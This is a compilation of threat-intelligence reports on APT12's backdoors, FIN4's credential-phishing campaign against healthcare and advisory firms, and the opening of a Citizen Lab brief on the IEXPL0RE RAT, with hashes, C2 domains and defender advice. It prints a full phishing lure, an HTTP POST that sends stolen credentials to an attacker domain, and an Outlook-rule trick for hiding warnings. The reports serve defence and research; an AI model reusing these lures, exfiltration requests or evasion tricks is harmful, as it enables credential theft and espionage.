No other evidence connects these two different campaigns however, as described previously in Symantec Security Responses Elderwood blog, it is strongly believed that a single parent organization has broken into a number of subgroups that each target a particular industry.
In terms of the latest attack on Ichitaro, we collected a dozen samples of JTD files, all of which are exactly the same except for their payload.
The parent organization, it would seem, supplied the zero-day exploit to the different subgroups as part of an attack toolkit and each group launched a separate attack using their chosen malware.
This is why three different payloads (Backdoor.
Emdivi, Backdoor.
Korplug, and Backdoor.
ZXshell) were observed in the latest zero-day attack.
http://www.symantec.com/connect/blogs/how-elderwood-platform-fueling-2014-s-zero-day-attacks Figure 7.
Parent group sharing zero-day exploit Conclusion Operation CloudyOmega was launched by an attack group that has communication channels with other notorious attack groups including Hidden Lynx and the group responsible for LadyBoyle.
CloudyOmega has been in operation since 2011 and is persistent in targeting Japanese organizations.
With the latest attack employing a zero-day vulnerability, there is no indication that the group will stop their activities anytime soon.
Symantec Security Response will be keeping a close eye on the CloudyOmega group.
Protection summary It is highly recommended that customers using Ichitaro products apply any patches as soon as possible.
Symantec offers the following protection against attacks associated with Operation CloudyOmega: AV Backdoor.
Emdivi Backdoor.
Emdivigen1 Backdoor.
Emdivigen2 Bloodhound.
Exploit.557 Trojan.
Mdropper IPS System Infected: Backdoor.
Emdivi Activity System Infected: Backdoor.
Emdivi Activity 2 http://www.symantec.com/security_response/writeup.jsp?docid2014-101715-1341-99 http://www.symantec.com/security_response/writeup.jsp?docid2014-102411-3143-99 http://www.symantec.com/security_response/writeup.jsp?docid2014-102803-3342-99 http://www.symantec.com/security_response/writeup.jsp?docid2014-110611-5618-99 http://www.symantec.com/security_response/writeup.jsp?docid2005-031911-0600-99 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid27975 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid27989
Darwins Favorite APT Group Introduction The attackers referred to as APT12 (also known as IXESHE, DynCalc, and DNSCALC) recently started a new campaign targeting organizations in Japan and Taiwan.
APT12 is believed to be a cyber espionage group thought to have links to the Chinese Peoples Liberation Army.
APT12s targets are consistent with larger Peoples Republic of China (PRC) goals.
Intrusions and campaigns conducted by this group are in- line with PRC goals and self-interest in Taiwan.
Additionally, the new campaigns we uncovered further highlight the correlation between APT groups ceasing and retooling operations after media exposure, as APT12 used the same strategy after compromising the New York Times in Oct 2012.
Much like Darwins theory of biological evolution, APT12 been forced to evolve and adapt in order to maintain its mission.
The new campaign marks the first APT12 activity publicly reported since Arbor Networks released their blog Illuminating The Etumbot APT Backdoor.
FireEye refers to the Etumbot backdoor as RIPTIDE.
Since the release of the Arbor blog post, FireEye has observed APT12 use a modified RIPTIDE backdoor that we call HIGHTIDE.
This is the second time FireEye has discovered APT12 retooling after a public disclosure.
As such, FireEye believes this to be a common theme for this APT group, as APT12 will continue to evolve in an effort to avoid detection and continue its cyber operations.
FireEye researchers also discovered two possibly related campaigns utilizing two other backdoors known as THREEBYTE and WATERSPOUT.
Both backdoors were dropped from malicious documents built utilizing the Tran Duy Linh exploit kit, which exploited CVE-2012-0158.
These documents were also emailed to organizations in Japan and Taiwan.
While APT12 has previously used THREEBYTE, it is unclear if APT12 was responsible for the recently discovered campaign utilizing THREEBYTE.
Similarly, WATERSPOUT is a newly discovered backdoor and the threat actors behind the campaign have not been positively identified.
However, the WATERSPOUT campaign shared several traits with the RIPTIDE and HIGHTIDE campaign that we have attributed to APT12.
Background From October 2012 to May 2014, FireEye observed APT12 utilizing RIPTIDE, a proxy-aware backdoor that communicates via HTTP to a hard-coded command and control (C2) server.
RIPTIDEs first communication with its C2 server fetches an encryption key, and the RC4 encryption key is used to encrypt all further communication.
http://www.arbornetworks.com/asert/2014/06/illuminating-the-etumbot-apt-backdoor/ http://www.fireeye.com/blog/technical/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html Figure 1: RIPTIDE HTTP GET Request Example In June 2014, Arbor Networks published an article describing the RIPTIDE backdoor and its C2 infrastructure in great depth.
The blog highlighted that the backdoor was utilized in campaigns from March 2011 till May 2014.
Following the release of the article, FireEye observed a distinct change in RIPTIDEs protocols and strings.
We suspect this change was a direct result of the Arbor blog post in order to decrease detection of RIPTIDE by security vendors.
The changes to RIPTIDE were significant enough to circumvent existing RIPTIDE detection rules.
FireEye dubbed this new malware family HIGHTIDE.
HIGHTIDE Malware Family On Sunday August 24, 2014 we observed a spear phish email sent to a Taiwanese government ministry.
Attached to this email was a malicious Microsoft Word document (MD5: f6fafb7c30b1114befc93f39d0698560) that exploited CVE-2012-0158.
It is worth noting that this email appeared to have been sent from another Taiwanese Government employee, implying that the email was sent from a valid but compromised account.
Figure 2:  APT12 Spearphishing Email The exploit document dropped the HIGHTIDE backdoor with the following properties: MD5 6e59861931fa2796ee107dc27bfdd480 Size 75264 bytes Complie Time 2014-08-23 08:22:49 Import Hash ead55ef2b18a80c00786c25211981570 http://www.fireeye.com/blog/wp-content/uploads/2014/09/riptide-wireshark.png http://www.arbornetworks.com/asert/2014/06/illuminating-the-etumbot-apt-backdoor/ http://www.fireeye.com/blog/wp-content/uploads/2014/09/riptide-spear.jpg The HIGHTIDE backdoor connected directly to 141.108.2.157.
If you compare the HTTP GET request from the RIPTIDE samples (Figure 1) to the HTTP GET request from the HIGHTIDE samples (Figure 3) you can see the malware author changed the following items: User Agent Format and structure of the HTTP Uniform Resource Identifier (URI) Figure 3: HIGHTIDE GET Request Example Similar to RIPTIDE campaigns, APT12 infects target systems with HIGHTIDE using a Microsoft Word (.doc) document that exploits CVE-2012-0158.
FireEye observed APT12 deliver these exploit documents via phishing emails in multiple cases.
Based on past APT12 activity, we expect the threat group to continue to utilize phishing as a malware delivery method.
MD5 File Name Exploit 73f493f6a2b0da23a79b50765c164e88 .doc CVE-2012-0158 f6fafb7c30b1114befc93f39d0698560 0824.1.doc CVE-2012-0158 eaa6e03d9dae356481215e3a9d2914dc 0 .doc CVE-2012-0158 06da4eb2ab6412c0dc7f295920eb61c4 .doc CVE-2012-0158 53baedf3765e27fb465057c48387c9b6 1033.doc CVE-2012-0158 00a95fb30be2d6271c491545f6c6a707 2014 09 17 Welcome Reception for Bob and Jason_invitation.doc CVE-2012-0158 4ab6bf7e6796bb930be2dd0141128d06_Y103(2)_ (0825).doc CVE-2012-0158 Figure 4: Identified exploit documents for HIGHTIDE When the file is opened, it drops HIGHTIDE in the form of an executable file onto the infected system.
RIPTIDE and HIGHTIDE differ on several points: executable file location, image base address, the User- Agent within the GET requests, and the format of the URI.
The RIPTIDE exploit document drops its executable file into the C:\Documents and Settings\user\Application Data\Location folder while the HIGHTIDE exploit document drops its executable file into the C:\DOCUMENTS and SETTINGS\ user\LOCAL SETTINGS\Temp\ folder.
All but one sample that we identified were written to this folder as word.exe.
The one outlier was written as winword.exe.
Research into this HIGHTIDE campaign revealed APT12 targeted multiple Taiwanese Government http://www.fireeye.com/blog/wp-content/uploads/2014/09/riptide2-wireshark.jpg organizations between August 22 and 28.
THREEBYTE Malware Family On Monday August 25, 2014 we observed a different spear phish email sent from lilywang823gmail.com to a technology company located in Taiwan.
This spear phish contained a malicious Word document that exploited CVE-2012-0158.
The MD5 of the exploit document was e009b95ff7b69cbbebc538b2c5728b11.
Similar to the newly discovered HIGHTIDE samples documented above, this malicious document dropped a backdoor to C:\DOCUMENTS and SETTINGS\user\LOCAL SETTINGS\Temp\word.exe.
This backdoor had the following properties: MD5 16e627dbe730488b1c3d448bfc9096e2 Size 75776 bytes Complie Time 2014-08-25 01:22:20 Import Hash dcfaa2650d29ec1bd88e262d11d3236f This backdoor sent the following callback traffic to video[.]csmcpr[.
]com: Figure 5:  THREEBYTE GET Request Beacon The THREEBYTE spear phishing incident (while not yet attributed) shared the following characteristics with the above HIGHTIDE campaign attributed to APT12: The THREEBYTE backdoor was compiled two days after the HIGHTIDE backdoors.
Both the THREEBYTE and HIGHTIDE backdoors were used in attacks targeting organizations in Taiwan.
Both the THREEBYTE and HIGHTIDE backdoors were written to the same filepath of C:\DOCUMENTS and SETTINGS\user\LOCAL SETTINGS\Temp\word.exe.
APT12 has previously used the THREEBYTE backdoor.
WATERSPOUT Malware Family On August 25, 2014, we observed another round of spear phishing emails targeting a high-technology company in Japan.
Attached to this email was another malicious document that was designed to exploit CVE-2012-0158.
This malicious Word document had an MD5 of 499bec15ac83f2c8998f03917b63652e and dropped a backdoor to C:\DOCUMENTS and SETTINGS\user\LOCAL SETTINGS\Temp\word.exe.
The backdoor had the following properties: http://www.fireeye.com/blog/wp-content/uploads/2014/09/threebyte-wireshark.jpg MD5 f9cfda6062a8ac9e332186a7ec0e706a Size 49152 bytes Complie Time 2014-08-25 02:10:11 Import Hash 864cd776c24a3c653fd89899ca32fe0b The backdoor connects to a command and control server at icc[.]ignorelist[.
]com.
Similar to RIPTIDE and HIGHTIDE, the WATERSPOUT backdoor is an HTTP-based backdoor that communicates with its C2 server.
GET /string/5 digit number/4 character string.php?first 3 characters of last string_id43 character string HTTP/1.1 Accept: image/jpeg, application/x-ms-application, image/gif, application/xamlxml, image/pjpeg, application/x-ms-xbap, / User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 6.1 Trident/4.0 SLCC2 .NET CLR 2.0.50727 .NET CLR 3.5.30729 .NET CLR 3.0.30729 .NET4.0C .NET4.0E) Host: C2 Location Cache-Control: no-cache Figure 6: Sample GET request for WATERSPOUT backdoor Although there are no current infrastructure ties to link this backdoor to APT12, there are several data points that show a possible tie to the same actors: Same initial delivery method (spear phishing email) with a Microsoft Word Document exploiting CVE-2012-0158.
The same Tran Duy Linh Microsoft Word Exploit Kit was used in delivery of this backdoor.
Similar Targets were observed where the threat actors utilized this backdoor.
Japanese Tech Company Taiwanese Government Organizations Organizations in the Asia-Pacific Region that are of Interest to China The WATERSPOUT backdoor was written to the same file path as the HIGHTIDE backdoors: C:\DOCUMENTS and SETTINGS\user\LOCAL SETTINGS\Temp\word.exe C:\DOCUMENTS and SETTINGS\user\LOCAL SETTINGS\Temp\winword.exe WATERSPOUT was compiled within two days of the last HIGHTIDE backdoor and on the same day as the THREEBYTE backdoor.
Although these points do not definitively tie WATERSPOUT to APT12, they do indicate a possible connection between the WATERSPOUT campaign, the THREEBYTE campaign, and the HIGHTIDE campaign attributed to APT12.
Conclusion FireEye believes the change from RIPTIDE to HIGHTIDE represents a temporary tool shift to decrease malware detection while APT12 developed a completely new malware toolset.
These development efforts may have resulted in the emergence of the WATERSPOUT backdoor.
Figure 7: Compile dates for all three malware families APT12s adaptations to public disclosures lead FireEye to make several conclusions about this threat group: APT12 closely monitors online media related to its tools and operations and reacts when its tools are publicly disclosed.
APT12 has the ability to adapt quickly to public exposures with new tools, tactics, and procedures (TTPs).
Public disclosures may result in an immediate change in APT12s tools.
These changes may be temporary and FireEye believes they are aimed at decreasing detection of their tools until a more permanent and effective TTP change can be implemented (e.g., WATERSPOUT).
Though public disclosures resulted in APT12 adaptations, FireEye observed only a brief pause in APT12 activity before the threat actors returned to normal activity levels.
Similarly, the public disclosure of APT12s intrusion at the New York Times also led to only a brief pause in the threat groups activity and immediate changes in TTPs.
The pause and retooling by APT12 was covered in the Mandiant 2014 M- Trends report.
Currently, APT12 continues to target organizations and conduct cyber operations using its new tools.
Most recently, FireEye observed HIGHTIDE at multiple Taiwan-based organizations and the suspected APT12 WATERSPOUT backdoor at a Japan-based electronics company.
We expect that APT12 will continue their trend and evolve and change its tactics to stay ahead of network defenders.
Note: IOCs for this campaign can be found here.
This entry was posted in Botnets, Targeted Attack, Threat Intelligence, Threat Research and tagged advanced malware, advanced persistent threat, advanced targeted attack, advanced threat actor, APT12, http://www.fireeye.com/blog/wp-content/uploads/2014/09/12-timeline.jpg https://dl.mandiant.com/EE/library/WP_M-Trends2014_140409.pdf https://github.com/fireeye/iocs/blob/master/2384c8ce-6eca-4d06-8aa4-151b53d9a6bc.ioc http://www.fireeye.com/blog/category/technical/botnet-activities-research http://www.fireeye.com/blog/category/technical/targeted-attack http://www.fireeye.com/blog/category/technical/threat-intelligence http://www.fireeye.com/blog/category/technical http://www.fireeye.com/blog/tag/advanced-malware http://www.fireeye.com/blog/tag/advanced-persistent-threat http://www.fireeye.com/blog/tag/advanced-targeted-attack http://www.fireeye.com/blog/tag/advanced-threat-actor http://www.fireeye.com/blog/tag/apt12 Targeted Attack by Ned Moran, Mike Oppenheim, Sarah Engle and Richard Wartell.
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SPECIAL REPORT SECURITY REIMAGINED HACKING THE STREET?
FIN4 LIKELY PLAYING THE MARKET WRITTEN BY: BARRY VENGERIK KRISTEN DENNESEN JORDAN BERRY JONATHAN WROLSTAD 2  fireeye.com Hacking the Street?
FIN4 Likely Playing the Market CONTENTS KEY FINDINGS ...........................................................................................................................................................................................................................................................................................................................................................................................................3 APPLYING WALL STREET KNOW-HOW: FIN4S TARGETS ............................................................................................................................................................................................................................................4 MA Deals in FIN4s Crosshairs ..............................................................................................................................................................................................................................................................................................................................5 Lasering in on Healthcare and Pharmaceuticals .......................................................................................................................................................................................................................................................................5 Keeping it Organized ......................................................................................................................................................................................................................................................................................................................................................................6 TAKING CARE OF BUSINESS: FIN4S TACTICS .......................................................................................................................................................................................................................................................................................7 FIN4s Social Engineering ......................................................................................................................................................................................................................................................................................................................................................7 A Fly on Many Walls .........................................................................................................................................................................................................................................................................................................................................................................8 Evading Detection ..........................................................................................................................................................................................................................................................................................................................................................................10 Conclusion .....................................................................................................................................................................................................................................................................................................................................................................................................10 APPENDIX: TACTICS ................................................................................................................................................................................................................................................................................................................................................................................11 VBA Macros Embedded into Legitimate Documents .................................................................................................................................................................................................................................................11 Networking and Infrastructure .............................................................................................................................................................................................................................................................................................................................13 What Can Network Defenders Do?
..............................................................................................................................................................................................................................................................................................................
14 Acknowledgments to Jen Weedon, Laura Galante, Arif Khan http://www.fireeye.com http://www.fireeye.com 3  fireeye.com Hacking the Street?
FIN4 Likely Playing the Market F ireEye is currently tracking a group that targets the email accounts of individuals privy to the most confidential information of more than 100 companies.
The group, which we call FIN4, appears to have a deep familiarity with business deals and corporate communications, and their effects on financial markets.
Operating since at least mid-2013, FIN4 distinctly focuses on compromising the accounts of individuals who possess non-public information about merger and acquisition (MA) deals and major market-moving announcements, particularly in the healthcare and pharmaceutical industries.
FIN4 has targeted individuals such as top executives, legal counsel, outside consultants, and researchers, among others.
We are able to characterize FIN4s activity from the incidents to which we have responded in our clients networks, FIN4s attempts to compromise our managed service clients, our product detection data, and further independent research.
Our visibility into FIN4s activities is limited to their network operations we can only surmise how they may be using and potentially benefiting from the valuable information they are able to obtain.
However one fact remains clear: access to insider information that could make or break stock prices for dozens of publicly traded companies could surely put FIN4 at a considerable trading advantage.
KEY FINDINGS 100 TARGETS Since mid-2013, FIN4 has targeted over 100 organizations, all of which are either publicly traded companies or advisory firms that provide services such as investor relations, legal counsel, and investment banking.
Approximately two-thirds of the targeted organizations are healthcare and pharmaceutical companies.
FIN4 knows their targets.
Their spearphishing themes appear to be written by native English speakers familiar with both investment terminology and the inner workings of public companies.
FIN4 does not infect their victims with malware, but instead focuses on capturing usernames and passwords to victims email accounts, allowing them to view private email correspondence.
FIN4 uses their knowledge to craft convincing phishing lures, most often sent from other victims email accounts and through hijacked email threads.
These lures appeal to common investor and shareholder concerns, enticing the intended victims into opening the weaponized document and entering their email credentials.
On multiple occasions, FIN4 has targeted several parties involved in a single business deal, to include law firms, consultants, and the public companies involved in negotiations.
They also have mechanisms to organize the data they collect and have taken steps to evade detection.
4  fireeye.com Hacking the Street?
FIN4 Likely Playing the Market Figure 1: FIN4s Targets F ireEye believes FIN4 intentionally targets individuals who have inside information about impending market catalystsevents that will cause the price of stocks to rise or fall substantially in a short period of time.
Since at least mid-2013, FIN4 has pursued targets at more than 100 organizations, over two-thirds of which are public healthcare and pharmaceutical companies.
The remaining targets include advisory firms that represent public companies and a handful of public companies in other sectors closely followed by market watchers.
All but three of the public companies are listed on the NYSE or NASDAQ, with the remaining three listed on non-US exchanges.
APPLYING WALL STREET KNOW-HOW: FIN4S TARGETS In order to get useful inside information, FIN4 compromises the email accounts of individuals who regularly communicate about market- moving, non-public matters.
FIN4 frequently targets: C-level executives and senior leadership Legal counsel Regulatory, risk, and compliance personnel Researchers Scientists People in other advisory roles TARGETED ORGANIZATIONS: OVER 100 PUBLICLY TRADED COMPANIES AND ADVISORY FIRMS Firms Advising Public Companies on Securities, Legal and MA Matters 20 Other Publicly Traded Companies 12 Publicly Traded Healthcare and Pharmaceutical Companies 68 5  fireeye.com Hacking the Street?
FIN4 Likely Playing the Market Figure 2: Targeted healthcare and pharmaceutical industry sub-sectors MA Deals in FIN4s Crosshairs FIN4 focuses on acquiring information about ongoing MA discussions and identifying the individuals who are most likely involved.
The group frequently employs MA-themed and SEC-themed lures with Visual Basic for Applications (VBA) macros implemented to steal the usernames and passwords of these key individuals.
Additionally, FIN4 has included links to fake Outlook Web App (OWA) login pages designed to capture the users credentials.
Once equipped with the credentials, FIN4 then has access to real-time email communicationsand presumably insight into potential deals and their timing.
Many of FIN4s lures appeared to be stolen documents from actual deal discussions that the group then weaponized and sent to individuals directly involved in the deal.
In some cases, the discussions were public knowledge and widely reported in the media, while others were still in the early exploration and due diligence phases.
In one instance, we observed FIN4 simultaneously target five different organizations involved in a single acquisition discussion.
The group targeted individuals at the five firms several months before the organizations involvement in the acquisition talks went public.
Lasering in on Healthcare and Pharmaceuticals We believe FIN4 heavily targets healthcare and pharmaceutical companies as stocks in these industries can move dramatically in response to news of clinical trial results, regulatory decisions, or safety and legal issues.
In fact, many high-profile insider trading cases involve the pharmaceutical sector.
Weve observed FIN4 access information on a wide variety of issuesincluding drug development, insurance reimbursement rates, and pending legal casesall of which can significantly influence the price of healthcare industry stocks.
In one case, FIN4 targeted employees involved in Medicaid rebates and government purchasing processes - these issues can heavily influence stock prices.
Healthcare and pharmaceutical companies depend heavily on the decisions of large third party payers (like Medicaid) whose purchasing power and rebate decisions can make or break a companys earnings.
FIN4 would presumably use this information to evaluate healthcare companies future revenue.
50 12 10 13 2 5 5 3 FIN4 HEALTHCARE TARGETS: OVER 60 PUBLIC COMPANIES IN VARIOUS SUB-INDUSTRIES BIOTECHNOLOGY  50 MEDICAL INSTRUMENTS  EQUIPMENT 12 MEDICAL DISTRIBUTION 2 MEDICAL DIAGNOSTICS  RESEARCH 5 MEDICAL DEVICES 13 HEALTHCARE PROVIDERS 3 HEALTHCARE PLANS 5 DRUG MANUFACTURERS 10 6  fireeye.com Hacking the Street?
FIN4 Likely Playing the Market Figure 3: Example of FIN4 Campaign Code Keeping it Organized FIN4 organizes the targets of their activity with over 70 unique campaign codes to designate the employer of the individuals they target, or in some cases the generic roles the targeted individuals play within that organization.
For example: CEO_CFO_COO_CORPDEV SCIENTISTS_AND_RESEARCH PHARMACEUTICAL COMPANY NAME ADVISORY FIRM NAME These campaign codes function as labels that FIN4 uses to identify the origin of usernames and passwords stolen from their targets.
These campaign codes are transmitted to FIN4s command and control (C2) servers along with stolen credentials.
FIN4s campaign codes illustrate their interest in the organizations and job roles most likely to have access to market-moving information before it goes public.
7  fireeye.com Hacking the Street?
FIN4 Likely Playing the Market A fter identifying a target, FIN4 frequently embeds VBA macros into a previously stolen Office document.
The embedded macro displays a dialog box that mimics the Windows Authentication prompt for the user to enter their domain credentials.
These credentials are transmitted to a server controlled by the group, allowing FIN4 to hijack that users email account.
FIN4 also sends highly tailored emails that typically play on the recipients knowledge or interest in a pending deal.
In several instances, FIN4 has included links to fake OWA login pages in their phishing emails instead (Figure 4).
This would be useful for targeting organizations that may have disabled VBA macros in Microsoft Office.
FIN4s Social Engineering FIN4 knows their audience.
Their spearphishing themes appear to be written by native English speakers familiar with both investment terminology and the inner workings of public companies.
FIN4s phishing emails frequently play up shareholder and public disclosure concerns.
Figure 4 shows the groups strong command of an executives concerns over illicit public disclosure, particularly over executive incompetence and compensation issues.
This email came from an account that FIN4 hijacked at a public company and includes several watchwords: disclosure of confidential company information regarding pending transactions.
These specific issues are key terms at public companies, where the public disclosure of sensitive business information is strictly regulated.
Figure 4: FIN4 phishing email to an executive TAKING CARE OF BUSINESS: FIN4S TACTICS Subject: employee making negative comments about you and the company From: namecompromised companys domain I noticed that a user named FinanceBull82 (claiming to be an employee) in an investment discussion forum posted some negative comments about the company in general (executive compensation mainly) and you in specific (overpaid and incompetent).
He gave detailed instances of his disagreements, and in doing so, may have unwittingly divulged confidential company information regarding pending transactions.
I am a longtime client and I do not think that this will bode well for future business.
The post generated quite a few replies, most of them agreeing with the negative statements.
While I understand that the employee has the right to his opinion, perhaps he should have vented his frustrations through the appropriate channels before making his post.
The link to the post is located here (it is the second one in the thread): http://forum.domain/redirect.
php?urlhttp://domain2fforum2fequities2f3758239022farticle.
php\par Could you please talk to him?
Thank you for the assistance, name 8  fireeye.com Hacking the Street?
FIN4 Likely Playing the Market While a large share of FIN4s lures are previously stolen confidential company documents, the group occasionally uses generic lures of interest to the investment community (Figure 5).
FIN4 also uses existing email threads in a victims inbox to spread their weaponized documents.
Weve seen the actors seamlessly inject themselves into email threads.
FIN4s emails would be incredibly difficult to distinguish from a legitimate email sent from a previously compromised victims email account.
The actors have also Bccd all recipients, making it even more difficult for recipients to decipher a malicious email from a legitimate one.
A Fly on Many Walls In several of our investigations, FIN4 targeted multiple parties involved in a business deal, including law firms, consultants, and public companies.
In one instance, FIN4 appeared to leverage its previously-acquired access to email accounts at an advisory firm (Advisory Firm A) to collect data during a potential acquisition of one of Advisory Firm As clients (Public Company A).
FIN4 proceeded to send a spearphishing email from a compromised account at Advisory Firm A to another advisory firm (Advisory Firm B), who was also representing Public Company A. FIN4 used a SEC filing document as a lure.
After news of the possible acquisition was made public, Public Company As stock price varied significantly.
It is likely that FIN4 used the inside information they had to capitalize on these stock fluctuations.
Figure 5: Generic FIN4 Lure Document 9  fireeye.com Hacking the Street?
FIN4 Likely Playing the Market ADVISORY FIRM B PUBLIC COMPANY A Involved in MA discussions with Public COMPANY B Advisory Firm A and Advisory Firm B are advising Public Company A about a prospective MA deal with Public Company B MA-themed spearphish from hijacked account The spearphishing email pertains directly to the pending deal, which is not yet public at the time the spearphish is sentSEC-Themed spearphish from hijacked account SEVERAL WEEKS PRIOR TO ANNOUNCEMENT DAYS PRIOR TO ANNOUNCEMENT PUBLIC ANNOUNCEMENT SUBSEQUENT WEEKS POST- ANNOUNCEMENT FIN4 uses a hijacked e-mail account at Advisory Firm A to spearphish MA specialists at Advisory Firm B.
Both Advisory Firm A and Advisory Firm B are advising Public Company A on a large MA opportunity.
FIN4 sends a second spearphishing email to the MA team at Public Company A, as well as to several of the MA teams advisors at outside firms.
Public Company A announces its plans regarding a possible MA deal with Public Company B.
The market responds to the public announcement with wide fluctuations in the stock prices of both Public Company A and Public Company B.
ADVISORY FIRM A COMPROMISED 10  fireeye.com Hacking the Street?
FIN4 Likely Playing the Market Figure 6: Outlook rule to filter emails Evading Detection FIN4 has been observed creating a rule in victims Microsoft Outlook accounts that automatically deletes any emails that contain words such as hacked, phish, malware, etc.
(
Figure 6).
The group likely implements these rules to prevent compromised victims from receiving replies from intended targets that their email account may be compromised, and likely buys FIN4 extra time before victim organizations detect their activities.
Conclusion If FIN4s activities are indeed part of a sustained effort to gain advance access to market-moving information, it would not be the first time that network intrusions have played a role in an insider trading case.
However the scale of FIN4s operations, with targets at more than 100 public companies, coupled with their tactic of going after key individuals emails, sets this group apart.
Our visibility into FIN4 is limited to their network operations, so we cannot say for certain what happens after they gain access to insider information.
What we can say is that FIN4s network activities must reap enough benefit to make these operations worth supporting for over a yearand in fact, FIN4 continues to compromise new victims as we finish this report.
11  fireeye.com Hacking the Street?
FIN4 Likely Playing the Market APPENDIX: TACTICS FIN4 employs a simple, yet effective, method to gather targets user credentials through their spearphishing emails.
Using VBA macros, they embed malicious code into already existing and legitimate company documents.
Embedded in each Microsoft Word or Excel document is a malicious macro that prompts the user for their Outlook credentials.
We have also observed this group send emails with links to fake Outlook Web App (OWA) login pages that will also steal the users credentials, however we have not observed this tactic in recent months.
Figure 7: Example of Module1 used in one of the most recent campaigns VBA Macros Embedded into Legitimate Documents The embedded VBA macro consists of a module typically entitled Module1 and a user form that has been called both UserForm1 and UserLoginForm.
The code in Module1 contains the information needed to communicate with the C2 server (Figure 7).
12  fireeye.com Hacking the Street?
FIN4 Likely Playing the Market The userform contains the code for the user credentials prompt and an artifact that is highly indicative of the actors targeting.
The artifact (a campaign code) is usually tailored to the particular target company or the company from which they are targeting others alternately, the artifact may represent a generic role for targeted individuals, such as SCIENTISTS_AND_RESEARCH or CEO_CFO_COO_CORPDEV.
We have identified over 70 unique campaign codes to date.
This campaign code is transmitted to the C2 server along with the victims username and password, as seen in Figure 8.
Many of the fake Outlook windows opened by the macros contain the logo of the company targeted giving the pop-up apparent legitimacy.
Figure 9 below represents a generic pop-up, with no company-specific information that a user might see after opening the document.
Only after credentials are entered will the document appear for the user.
Figure 9: Malicious Dialogue that Prompts for Users Credentials Figure 8: Example of UserForm1 with Campaign Code 13  fireeye.com Hacking the Street?
FIN4 Likely Playing the Market Figure 10: POST Request Containing Users Credentials Sent to C2 Networking and Infrastructure After the user enters data into the username and password fields, the data is transmitted to the C2 server via a POST request (Figure 10).
FIN4 then uses the collected credentials to login to victim email accounts.
In addition to gaining access to the victims private communications, FIN4 also uses the compromised accounts to email malicious documents to additional targets inside and outside the victim company.
The group is currently active as this report goes to publication and recently used the domains junomaat81[.
]us and lifehealthsanfrancisco2015[.
]com as their C2s.
FIN4 appears to be heavily reliant on Tor (software that enables users to browse the Internet anonymously by encrypting their internet traffic and routing it through servers around the world) and has been seen using Tor to login to victims email accounts after obtaining the compromised user credentials.
We have detected at least two User Agents that the actors have used and which can be used to identify potentially suspicious OWA activity in network logs, when paired with originating Tor IP addresses.
POST /report.php?msgFAKE_PHARMAunamejohn.doepwordabc123 HTTP/1.1 Connection: Keep-Alive Content-Type: text/plain CharsetUTF-8 Accept: / Accept-Language: en-us User-Agent: Mozilla/5.0 (compatible MSIE 10.0 Windows NT 6.1 Trident/6.0) Content-Length: 0 Host: www.junomaat81.us Mozilla/5.0 (Windows NT 6.1 rv:31.0) Gecko/20100101 Firefox/31.0 Mozilla/5.0 (Windows NT 6.1 rv:24.0) Gecko/20100101 Firefox/24.0 Figure 11: FIN4 User Agents 14  fireeye.com Hacking the Street?
FIN4 Likely Playing the Market We have identified nine C2 domains that we believe were registered by the actors to conduct these operations.
There are also legitimate domains that appear to have been compromised and used in previous campaigns in late 2013 and early 2014 however in the recent months we have not seen indications that the actor has used compromised legitimate domains to conduct their operations.
What Can Network Defenders Do?
The relative simplicity of FIN4s tactics (spearphishing, theft of valid credentials, lack of any malware installed on victim machines) makes their intrusion activity difficult to detect.
However a few basic security measures can help Table 1: List of known Actor-Registered C2 Domains Actor-Registered C2 Domains ellismikepage[.
]info lifehealthsanfrancisco2015[.
]com rpgallerynow[.
]info dmforever[.
]biz msoutexchange[.
]us junomaat81[.
]us outlookscansafe[.
]net nickgoodsite.co[.
]uk outlookexchange[.
]net thwart the groups efforts.
Disabling VBA macros in Microsoft Office by default, as well as blocking the domains listed in Table 1 will help protect against FIN4s current activities.
Additionally, enabling two-factor authentication for OWA and any other remote access mechanisms can help prevent credentials stolen in this manner from being leveraged successfully.
Companies can also check their network logs for OWA logins from known Tor exit nodes if they suspect they are victimized.
Typically, legitimate users do not use Tor for accessing email.
While not conclusive, if paired with known targeting by this group, the access from Tor exit nodes can serve as an indicator of the groups illicit logins.
15  fireeye.com Hacking the Street?
FIN4 Likely Playing the Market FireEye, Inc.    1440 McCarthy Blvd.
Milpitas, CA 95035    408.321.6300    877.FIREEYE (347.3393)    infofireeye.com    www.fireeye.com 2014  FireEye, Inc. All rights reserved.
FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners.
WP.HTS.EN-US.112014
BY SETH HARDY    AUGUST 2012 IEXPL0RE RAT CITIZEN LAB TECHNICAL BRIEF 001 1CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT INTRODUCTION This report describes a remote access trojan (RAT) that three human rights-related organiza- tions taking part in a Citizen Lab study on targeted cyber threats against human rights groups received via email in 2011 and at the end of 2010.
Here we refer to it as the IEXPL0RE RAT, after the name of the launcher program.
It was first called Sharky RAT in Seth Hardys talk at SecTor 2011.
Since then it has also been referred to as c0d0so0 and possibly Backdoor.
Briba.
A RAT is a program that allows a remote user full access to a computer.
This type of program can be used for legitimate reasons.
In these cases, RAT can also stand for remote administration tool.
In the case of the IEXPL0RE RAT, the remote user has the ability to record user keystrokes (including passwords), copy and delete files, download and run new programs, and even use the computers microphone and camera to listen to and watch the user in real-time.
RATs are common in targeted malware attacks against human rights organizations and other NGOs.
Targeted attacks with this sort of payload are often referred to as advanced persistent threats (APTs).
APTs differ from other traditional computer attacks in that they are designed to be quiet and collect data over time, and act as a starting point for future tracking and compro- mise of targets.
It is not uncommon for an APT infection to persist for months or even years after the malicious program is first run.
https://citizenlab.org/hrpublic-call/ https://citizenlab.org/2011/10/citizen-lab-senior-security-analyst-seth-hardy-presents-at-sector-conference/ http://ioc.forensicartifacts.com/2012/07/c0d0so0-trojan/ http://www.symantec.com/security_response/writeup.jsp?docid2012-051515-2843-99tabid2 http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_trends-in-targeted-attacks.pdf 2CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT ATTACK VECTOR Attempted delivery of the malware was via email attachment, employing social engineering tech- niques.
The emails that contained the attached IEXPL0RE RAT were different every time, with a unique email and delivery method used for each attempt, including multiple versions targeted at the same organization.
Each email was tailored specifically for the target, both in terms of subject, content, and the way the RAT was attached and hidden.
Organization 1: a human rights NGO received multiple emails with interesting keywords from senders claiming to be from personal friends.
